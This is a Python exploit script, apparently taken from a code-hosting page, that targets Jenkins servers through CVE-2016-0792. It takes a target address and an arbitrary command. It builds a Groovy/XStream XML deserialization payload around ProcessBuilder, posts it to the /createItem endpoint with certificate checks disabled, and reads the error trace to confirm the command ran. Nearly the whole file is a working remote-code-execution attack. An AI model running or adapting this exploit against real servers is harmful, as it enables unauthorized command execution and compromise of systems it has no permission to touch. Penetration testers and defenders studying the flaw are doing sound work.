85 lines
2.6 KiB
Python
85 lines
2.6 KiB
Python
#! /usr/bin/env python2
|
|
|
|
#Jenkins Groovy XML RCE (CVE-2016-0792)
|
|
#Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
|
|
#Made with <3 by @byt3bl33d3r
|
|
|
|
from __future__ import print_function
|
|
import requests
|
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
|
|
|
import argparse
|
|
import sys
|
|
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument('target', type=str, help='Target IP:PORT')
|
|
parser.add_argument('command', type=str, help='Command to run on target')
|
|
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
|
|
|
|
if len(sys.argv) < 2:
|
|
parser.print_help()
|
|
sys.exit(1)
|
|
|
|
args = parser.parse_args()
|
|
|
|
if len(args.target.split(':')) != 2:
|
|
print('[-] Target must be in format IP:PORT')
|
|
sys.exit(1)
|
|
|
|
if not args.command:
|
|
print('[-] You must specify a command to run')
|
|
sys.exit(1)
|
|
|
|
ip, port = args.target.split(':')
|
|
|
|
print('[*] Target IP: {}'.format(ip))
|
|
print('[*] Target PORT: {}'.format(port))
|
|
|
|
xml_formatted = ''
|
|
command_list = args.command.split()
|
|
for cmd in command_list:
|
|
xml_formatted += '{:>16}<string>{}</string>\n'.format('', cmd)
|
|
|
|
xml_payload = '''<map>
|
|
<entry>
|
|
<groovy.util.Expando>
|
|
<expandoProperties>
|
|
<entry>
|
|
<string>hashCode</string>
|
|
<org.codehaus.groovy.runtime.MethodClosure>
|
|
<delegate class="groovy.util.Expando" reference="../../../.."/>
|
|
<owner class="java.lang.ProcessBuilder">
|
|
<command>
|
|
{}
|
|
</command>
|
|
<redirectErrorStream>false</redirectErrorStream>
|
|
</owner>
|
|
<resolveStrategy>0</resolveStrategy>
|
|
<directive>0</directive>
|
|
<parameterTypes/>
|
|
<maximumNumberOfParameters>0</maximumNumberOfParameters>
|
|
<method>start</method>
|
|
</org.codehaus.groovy.runtime.MethodClosure>
|
|
</entry>
|
|
</expandoProperties>
|
|
</groovy.util.Expando>
|
|
<int>1</int>
|
|
</entry>
|
|
</map>'''.format(xml_formatted.strip())
|
|
|
|
print('[*] Generated XML payload:')
|
|
print(xml_payload)
|
|
print()
|
|
|
|
print('[*] Sending payload')
|
|
headers = {'Content-Type': 'text/xml'}
|
|
r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)
|
|
|
|
paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml']
|
|
if r.status_code == 500:
|
|
for path in paths_in_trace:
|
|
if path in r.text:
|
|
print('[+] Command executed successfully')
|
|
break
|